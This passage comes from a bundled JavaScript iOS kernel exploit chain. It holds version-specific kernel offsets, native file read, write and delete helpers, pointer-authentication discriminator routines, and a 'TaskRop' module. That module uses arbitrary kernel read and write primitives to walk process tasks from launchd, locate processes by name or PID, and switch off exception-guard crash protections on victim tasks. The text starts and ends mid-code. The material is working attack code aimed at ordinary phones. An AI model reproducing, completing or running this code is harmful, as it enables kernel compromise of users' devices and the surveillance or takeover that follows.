0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x408acd0n,\n\t\t\t\t\tmigSbxMsg: 0x408acf0n,\n\t\t\t\t\tmigKernelStackLR: 0x396e4a0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x40a6f08n,\n\t\t\t\t\tmigSbxMsg: 0x40a6f28n,\n\t\t\t\t\tmigKernelStackLR: 0x3987924n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1ff78n,\n\t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n\t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x40b6e98n,\n\t\t\t\t\tmigSbxMsg: 0x40b6eb8n,\n\t\t\t\t\tmigKernelStackLR: 0x3998de0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/FileUtils.js\":\n/*!***************************************!*\\\n !*** ./src/libs/JSUtils/FileUtils.js ***!\n \\***************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ FileUtils)\n/* harmony export */ });\n\n\nconst TAG = \"FILE-UTILS\";\n\nconst O_RDONLY\t= 0x0000;\nconst O_WRONLY\t= 0x0001;\nconst O_RDWR\t= 0x0002;\nconst O_APPEND = 0x0008;\nconst O_CREAT\t= 0x0200;\nconst O_TRUNC\t= 0x0400;\nconst O_EVTONLY\t= 0x8000;\n\nconst ERROR\t\t= -1;\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nconst SEEK_SET = 0;\n\nclass FileUtils {\n\n\n\tstatic open(path) {\n\t\tconst fd = Native.callSymbol(\"open\", path, O_RDONLY);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\t\treturn fd;\n\t}\n\n\tstatic close(fd) {\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\n\tstatic read(fd, size=0) {\n\t\tif (!size || size > Native.memSize)\n\t\t\tsize = Native.memSize;\n\t\tconst len = Native.callSymbol(\"read\", fd, Native.mem, size);\n\t\tif (!len || len == ERROR)\n\t\t\treturn false;\n\t\tconst buff = Native.read(Native.mem, len);\n\t\treturn buff;\n\t}\n\n\tstatic readFile(path, seek=0, length=0) {\n\t\tconst fd = this.open(path);\n\t\tif (fd === false)\n\t\t\treturn null;\n\n\t\tlet data = new Uint8Array();\n\n\t\tif (seek)\n\t\t\tNative.callSymbol(\"lseek\", fd, seek, SEEK_SET);\n\n\t\tlet remaining = length;\n\n\t\twhile (true) {\n\t\t\tlet size = remaining ? remaining : Native.memSize;\n\t\t\tif (size > Native.memSize)\n\t\t\t\tsize = Native.memSize;\n\t\t\tconst buff = this.read(fd, size);\n\t\t\tif (buff === false)\n\t\t\t\tbreak;\n\t\t\tconst buff8 = new Uint8Array(buff);\n\t\t\tlet newData = new Uint8Array(data.length + buff8.length);\n\t\t\tnewData.set(data, 0);\n\t\t\tnewData.set(buff8, data.length);\n\t\t\tdata = newData;\n\n\t\t\tif (remaining) {\n\t\t\t\tremaining -= buff.byteLength;\n\t\t\t\tif (!remaining)\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tthis.close(fd);\n\n\t\treturn data.buffer;\n\t}\n\n\tstatic writeFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_TRUNC);\n\t}\n\n\tstatic appendFile(path, data) {\n\t\treturn this.#commonWriteFile(path, data, O_WRONLY | O_CREAT | O_APPEND);\n\t}\n\n\tstatic deleteFile(path) {\n\t\tNative.callSymbol(\"unlink\", path);\n\t}\n\tstatic foreachDir(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t}\n\n\tstatic foreachFile(path, func) {\n\t\tlet dir = Native.callSymbol(\"opendir\", path);\n\t\tif (!dir) {\n\t\t\tconsole.log(TAG, \"Unable to open dir: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\twhile (true) {\n\t\t\tlet item = this.#readdir(dir);\n\t\t\tif (!item)\n\t\t\t\tbreak;\n\n\t\t\tswitch (item.d_type) {\n\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\tfunc(item.d_name);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tNative.callSymbol(\"closedir\", dir);\n\t\treturn true;\n\t}\n\n\tstatic createDir(path, permission=0o755) {\n\t\treturn !Native.callSymbol(\"mkdir\", path, permission);\n\t}\n\n\tstatic deleteDir(path, recursive=false) {\n\t\tif (recursive) {\n\t\t\tconst dir = Native.callSymbol(\"opendir\", path);\n\t\t\tif (!dir) {\n\t\t\t\tconsole.log(TAG, \"deleteDir: Unable to open dir: \" + path);\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\twhile (true) {\n\t\t\t\tconst item = this.#readdir(dir);\n\t\t\t\tif (!item)\n\t\t\t\t\tbreak;\n\n\t\t\t\tconst newPath = path + '/' + item.d_name;\n\n\t\t\t\tswitch (item.d_type) {\n\t\t\t\t\tcase DT.DT_DIR:\n\t\t\t\t\t\tif (item.d_name.startsWith(\".\"))\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tthis.deleteDir(newPath, true);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase DT.DT_REG:\n\t\t\t\t\t\tconsole.log(TAG, `deleting: ${newPath}`);\n\t\t\t\t\t\tthis.deleteFile(newPath);\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tNative.callSymbol(\"closedir\", dir);\n\t\t}\n\n\t\treturn !Native.callSymbol(\"rmdir\", path);\n\t}\n\n\tstatic exists(path, permission=0/*F_OK*/) {\n\t\treturn !Native.callSymbol(\"access\", path, permission);\n\t}\n\n\tstatic stat(path) {\n\t\tconst ret = Native.callSymbol(\"stat\", path, Native.mem);\n\t\tif (ret == ERROR)\n\t\t\treturn null;\n\t\tconst buff = Native.read(Native.mem, 144);\n\t\tconst view = new DataView(buff);\n\n\t\tconst dev = view.getInt32(0, true);\n\t\tconst mode = view.getUint16(0x4, true);\n\t\tconst nlink = view.getUint16(0x6, true);\n\t\tconst ino = view.getBigUint64(0x8, true);\n\t\tconst uid = view.getUint32(0x10, true);\n\t\tconst gid = view.getUint32(0x14, true);\n\t\tconst atime_tv_sec = view.getBigInt64(0x20, true);\n\t\tconst mtime_tv_sec = view.getBigInt64(0x30, true);\n\t\tconst ctime_tv_sec = view.getBigInt64(0x40, true);\n\t\tconst size = view.getBigInt64(0x60, true);\n\n\t\treturn {\n\t\t\tmode: Number(mode),\n\t\t\tino: Number(ino),\n\t\t\tdev: Number(dev),\n\t\t\tnlink: Number(nlink),\n\t\t\tuid: Number(uid),\n\t\t\tgid: Number(gid),\n\t\t\tsize: Number(size),\n\t\t\tatime: Number(atime_tv_sec),\n\t\t\tmtime: Number(mtime_tv_sec),\n\t\t\tctime: Number(ctime_tv_sec)\n\t\t};\n\t}\n\n\tstatic #readdir(dir) {\n\t\tconst itemPtr = Native.callSymbol(\"readdir\", dir);\n\t\tif (!itemPtr)\n\t\t\treturn null;\n\n\t\tconst item = Native.read(itemPtr, 24);\n\t\tconst view = new DataView(item);\n\n\t\tconst d_ino = view.getBigUint64(0, true);\n\t\tconst d_namlen = view.getUint16(18, true);\n\t\tconst d_type = view.getUint8(20);\n\t\tconst d_name = Native.readString(itemPtr + 21n, d_namlen + 1);\n\n\t\treturn {\n\t\t\td_ino: d_ino,\n\t\t\td_type: d_type,\n\t\t\td_name: d_name\n\t\t};\n\t}\n\n\tstatic #commonWriteFile(path, data, flags) {\n\t\tconst fd = Native.callSymbol(\"open\", path, flags, 0o644);\n\t\tif (fd == ERROR) {\n\t\t\tconsole.log(TAG, \"Unable to open: \" + path);\n\t\t\treturn false;\n\t\t}\n\n\t\t// For some reason file mode is not applied on open()\n\t\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\t\tlet offs = 0;\n\t\tlet left = data.byteLength;\n\n\t\tconst buffSize = 0x4000;\n\t\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\t\twhile (true) {\n\t\t\tconst size = left > buffSize ? buffSize : left;\n\t\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\t\tconst dst8 = new Uint8Array(src8);\n\t\t\tNative.write(buffPtr, dst8.buffer);\n\t\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\t\tif (!len || len == ERROR)\n\t\t\t\tbreak;\n\t\t\toffs += len;\n\t\t\tleft -= len;\n\t\t\tif (!left)\n\t\t\t\tbreak;\n\t\t}\n\n\t\tNative.callSymbol(\"free\", buffPtr);\n\t\tNative.callSymbol(\"close\", fd);\n\n\t\treturn true;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Logger.js\":\n/*!************************************!*\\\n !*** ./src/libs/JSUtils/Logger.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Logger)\n/* harmony export */ });\n/* harmony import */ var _FileUtils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./FileUtils */ \"./src/libs/JSUtils/FileUtils.js\");\n/* harmony import */ var _Chain_Native__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\nclass Logger {\n\n\tstatic #logging = false;\n\tstatic #logfile = \"/private/var/mobile/Media/PostLogs.txt\";\n\n\tstatic {\n\t\t//LOG(\"Log file: \" + Logger.#logfile);\n\t}\n\n\tstatic log(TAG, msg) {\n\t\t// Avoid recursive logging\n\t\tif (Logger.#logging)\n\t\t\treturn;\n\t\tLogger.#logging = true;\n\t\tconst logMsg = `[${TAG}] ${msg}`;\n\n\t\tLOG(logMsg);\n\n\t\tif (false) // removed by dead control flow\n{}\n\t\tLogger.#logging = false;\n\t}\n\n\tstatic clearPreviousLogs(){\n\t\t_Chain_Native__WEBPACK_IMPORTED_MODULE_1__[\"default\"].callSymbol(\"unlink\", Logger.#logfile);\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/JSUtils/Utils.js\":\n/*!***********************************!*\\\n !*** ./src/libs/JSUtils/Utils.js ***!\n \\***********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Utils)\n/* harmony export */ });\n\n\nconst TAG = \"UTILS\";\n\nconst DT = {\n\tDT_UNKNOWN: 0,\n\tDT_FIFO: 1,\n\tDT_CHR: 2,\n\tDT_DIR: 4,\n\tDT_BLK: 6,\n\tDT_REG: 8,\n\tDT_LNK: 10,\n\tDT_SOCK: 12,\n\tDT_WHT: 14\n};\n\nclass Utils {\n\n\tstatic UINT64_SIZE = 8;\n\tstatic UINT32_SIZE = 4;\n\tstatic UINT16_SIZE = 2;\n\tstatic ARM_THREAD_STATE64 = 6;\n\tstatic ARM_THREAD_STATE64_SIZE = 0x110;\n\tstatic ARM_THREAD_STATE64_COUNT = (this.ARM_THREAD_STATE64_SIZE / this.UINT32_SIZE);\n\tstatic ptrauth_key_asia = 0;\n\tstatic EXC_BAD_ACCESS = 1n;\n\tstatic EXC_GUARD = 12n;\n\tstatic EXC_MASK_GUARD = (1n << this.EXC_GUARD);\n\tstatic EXC_MASK_BAD_ACCESS = (1n << this.EXC_BAD_ACCESS);\n\tstatic EXCEPTION_STATE = 2n;\n\tstatic MACH_EXCEPTION_CODES = 0x80000000n;\n\tstatic PAGE_SIZE = 0x4000n;\n\tstatic PAGE_MASK = (this.PAGE_SIZE - 1n);\n\n\tstatic hex(val) {\n\t\treturn val.toString(16);\n\t}\n\n\tstatic memmem(haystack, needle) {\n\t\tconst hLen = haystack.byteLength;\n\t\tconst nLen = needle.byteLength;\n\n\t\tif (nLen === 0 || hLen < nLen) {\n\t\t return 0;\n\t\t}\n\n\t\tconst haystackView = new Uint8Array(haystack);\n\t\tconst needleView = new Uint8Array(needle);\n\n\t\tfor (let i = 0; i <= hLen - nLen; i++) {\n\t\t let found = true;\n\t\t for (let j = 0; j < nLen; j++) {\n\t\t\tif (haystackView[i + j] !== needleView[j]) {\n\t\t\t found = false;\n\t\t\t break;\n\t\t\t}\n\t\t }\n\t\t if (found) {\n\t\t\treturn i;\n\t\t }\n\t\t}\n\n\t\treturn 0;\n\t}\n\n\tstatic ptrauth_string_discriminator(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbedn;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_string_discriminator_special(discriminator)\n\t{\n\t\tswitch (discriminator) {\n\t\t\tcase \"pc\":\n\t\t\t\treturn 0x7481000000000000n;\n\t\t\tcase \"lr\":\n\t\t\t\treturn 0x77d3000000000000n;\n\t\t\tcase \"sp\":\n\t\t\t\treturn 0xcbed000000000000n;\n\t\t\tcase \"fp\":\n\t\t\t\treturn 0x4517000000000000n;\n\t\t\tdefault:\n\t\t\t\tconsole.log(TAG,`Cannot find discriminator for value:${discriminator}`);\n\t\t\t\treturn 0n;\n\t\t}\n\t}\n\n\tstatic ptrauth_blend_discriminator(diver,discriminator)\n\t{\n\t\treturn diver & 0xFFFFFFFFFFFFn | discriminator;\n\t}\n\n static printArrayBufferInChunks(buffer) {\n const view = new DataView(buffer);\n const chunkSize = 8;\n\n for (let i = 0; i < buffer.byteLength; i += chunkSize) {\n\t\t\t// Read the chunk as a BigInt\n\t\t\tconst chunk = view.getBigUint64(i, true); // Little-endian\n\n console.log(TAG, `0x${Utils.hex(i)}: ${Utils.hex(chunk)}`);\n }\n }\n\n\tstatic MIN(a, b)\n\t{\n\t\tif(a < b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n\n\tstatic MAX(a, b)\n\t{\n\t\tif(a > b)\n\t\t\treturn a;\n\t\treturn b;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/RegistersStruct.js\":\n/*!*********************************************!*\\\n !*** ./src/libs/TaskRop/RegistersStruct.js ***!\n \\*********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ RegistersStruct)\n/* harmony export */ });\nconst TAG = \"REGISTERSSTRUCT\"\n\nclass RegistersStruct\n{\n\t#dataView;\n\n\tconstructor(buffer, offset = 0, length = 29) {\n\t\tthis.#dataView = new DataView(buffer,offset, length * 8);\n\t\tthis.length = length;\n\t}\n \n\tget(index) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in get:${index}`);\n\t\t\treturn;\n }\n return this.#dataView.getBigUint64(index * 8, true); // true for little-endian\n }\n\n set(index, value) {\n if (index >= this.length || index < 0) {\n console.log(TAG,`Got wrong index in set`);\n\t\t\treturn;\n }\n this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian\n }\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/SelfTaskStruct.js\":\n/*!********************************************!*\\\n !*** ./src/libs/TaskRop/SelfTaskStruct.js ***!\n \\********************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ SelfTaskStruct)\n/* harmony export */ });\nclass SelfTaskStruct \n{\n\t#buffer;\n\t#dataView;\n\tconstructor()\n\t{\n\t\tthis.#buffer = new ArrayBuffer(32);\n\t\tthis.#dataView = new DataView(this.#buffer);\n\t\tthis.addr = 0x0n;\n\t\tthis.spaceTable = 0x0n;\n\t\tthis.portObject = 0x0n;\n\t\tthis.launchdTask = 0x0n;\n\t}\n\tget addr()\n\t{\n\t\treturn this.#dataView.getBigUint64(0,true);\n\t}\n\tset addr(value)\n\t{\n\t\tthis.#dataView.setBigUint64(0,value,true);\n\t}\n\tget spaceTable()\n\t{\n\t\treturn this.#dataView.getBigUint64(8,true);\n\t}\n\tset spaceTable(value)\n\t{\n\t\tthis.#dataView.setBigUint64(8,value,true);\n\t}\n\tget portObject()\n\t{\n\t\treturn this.#dataView.getBigUint64(16,true);\n\t}\n\tset portObject(value)\n\t{\n\t\tthis.#dataView.setBigUint64(16,value,true);\n\t}\n\tget launchdTask()\n\t{\n\t\treturn this.#dataView.getBigUint64(24,true);\n\t}\n\tset launchdTask(value)\n\t{\n\t\tthis.#dataView.setBigUint64(24,value,true);\n\t}\n}\n\n/***/ }),\n\n/***/ \"./src/libs/TaskRop/Task.js\":\n/*!**********************************!*\\\n !*** ./src/libs/TaskRop/Task.js ***!\n \\**********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Task)\n/* harmony export */ });\n/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ \"./src/libs/TaskRop/SelfTaskStruct.js\");\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ \"./src/libs/Chain/Chain.js\");\n/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ \"./src/libs/Chain/Native.js\");\n\n\n\n\n\nconst TAG = \"TASK\"\nconst TASK_EXC_GUARD_MP_CORPSE = 0x40;\nconst TASK_EXC_GUARD_MP_FATAL = 0x80;\nconst TASK_EXC_GUARD_MP_DELIVER = 0x10;\n\nclass Task\n{\n\tstatic gSelfTask;\n\tstatic KALLOC_ARRAY_TYPE_SHIFT;\n\n\tstatic {\n\t\tthis.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t}\n\n\tstatic init(selfTaskAddr)\n\t{\n\t\t// Update KALLOC_ARRAY_TYPE_SHIFT\n\t\tthis.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().T1SZ_BOOT - 1n));\n\n\t\t/*\n\t\t * This function should be invoked as the initializer of the this Task utility.\n\t\t * It setups the global var \"gSelfTask\" containing values used all across the task functions to lookup ports.\n\t\t * It also retrieves the \"launchd\" task address.\n\t\t */\n\t\tthis.gSelfTask.addr = selfTaskAddr;\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\tthis.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n);\n\t\tthis.gSelfTask.launchdTask = this.#searchForLaunchdTask();\n\n\t\tconsole.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.addr)}`);\n\t\tconsole.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(spaceTable)}`);\n\t\tconsole.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.portObject)}`);\n\t\tconsole.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(this.gSelfTask.launchdTask)}`);\n\t}\n\n\tstatic trunc_page(addr)\n\t{\n\t\treturn addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic round_page(addr)\n\t{\n\t\treturn this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].PAGE_SIZE - 1n));\n\t}\n\n\tstatic pidof(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\tlet pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\t\treturn pid;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic getTaskAddrByPID(pid)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pid);\n\t\t\tif (currPid == pid)\n\t\t\t\treturn currTask;\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || (nextTask == currTask))\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn 0;\n\t}\n\n\tstatic disableExcGuardKill(taskAddr)\n\t{\n\t\t// in mach_port_guard_ast, the victim would crash if these are on.\n\t\tlet excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard);\n\t\t//console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`);\n\t\texcGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);\n\t\texcGuard |= TASK_EXC_GUARD_MP_DELIVER;\n\t\t//console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`);\n\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().excGuard, excGuard);\n\t}\n\n\tstatic getTaskAddrByName(name)\n\t{\n\t\tlet currTask = this.gSelfTask.launchdTask;\n\t\twhile (true)\n\t\t{\n\t\t\tlet procAddr = this.getTaskProc(currTask);\n\t\t\tlet command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].mem;\n\t\t\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().pComm, command, 18);\n\t\t\tlet resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__[\"default\"].readString(command,18);\n\t\t\t//console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`);\n\t\t\tif(name === resultName)\n\t\t\t{\n\t\t\t\t//console.log(TAG, `Found target process: ${name}`);\n\t\t\t\treturn currTask;\n\t\t\t}\n\t\t\tlet nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().nextTask);\n\t\t\tif (!nextTask || nextTask == currTask)\n\t\t\t\tbreak;\n\t\t\tcurrTask = nextTask;\n\t\t}\n\t\treturn false;\n\t}\n\n\tstatic getRightAddr(port)\n\t{\n\t\tlet spaceTable = this.#getSpaceTable(this.gSelfTask.addr);\n\t\treturn this.#getPortEntry(spaceTable, port);\n\t}\n\n\tstatic #getSpaceTable(taskAddr)\n\t{\n\t\tlet space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().ipcSpace);\n\t\tlet spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().spaceTable);\n\t\t//console.log(TAG,`space: ${Utils.hex(space)}`);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\tspaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(spaceTable);\n\t\t//console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`);\n\t\treturn this.#kallocArrayDecodeAddr(BigInt(spaceTable));\n\t}\n\n\tstatic #mach_port_index(port)\n\t{\n\t\treturn ((port) >> 8n);\n\t}\n\n\tstatic #getPortEntry(spaceTable, port)\n\t{\n\t\tlet portIndex = this.#mach_port_index(port);\n\t\treturn spaceTable + (portIndex * 0x18n);\n\t}\n\n\tstatic #getPortObject(spaceTable, port)\n\t{\n\t\t//console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`);\n\t\tlet portEntry = this.#getPortEntry(spaceTable, port);\n\t\t//console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`);\n\t\tlet portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().entryObject);\n\t\t//console.log(TAG,`portObject:${Utils.hex(portObject)}`);\n\t\treturn libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].strip(portObject);\n\t}\n\n\tstatic getTaskProc(taskAddr)\n\t{\n\t\tlet procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__[\"default\"].offsets().procRO);\n\t\tlet procAddr = 